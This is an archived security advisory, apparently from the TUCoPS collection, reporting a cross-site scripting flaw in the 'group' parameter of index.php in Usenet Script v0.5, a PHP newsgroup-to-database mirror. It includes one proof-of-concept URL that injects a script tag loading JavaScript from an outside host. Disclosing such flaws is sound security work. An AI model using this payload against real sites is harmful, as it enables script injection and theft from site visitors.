TUCoPS :: HP Unsorted U :: b06-3308.htm

Usenet script v0.5
Usenet Script v0.5
Usenet Script v0.5



Usenet Script v0.5

Homepage:
http://www.metalhead.ws/usenet

Description:

"Those scripts allow you to mirror a Newsgroup in an SQL database. The development database was Postgresql, but it uses dbx and should therefore be able to work with other database systems, too. Furthermore, a frontend is provided."

Affected files:

index.php

------------------------------------
XSS vuln via index.php on group var:

Data isnt properly sanatized before being generated.
http://www.example.com/index.php?group= src=http://www.youfucktard.com/xss.js> 

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH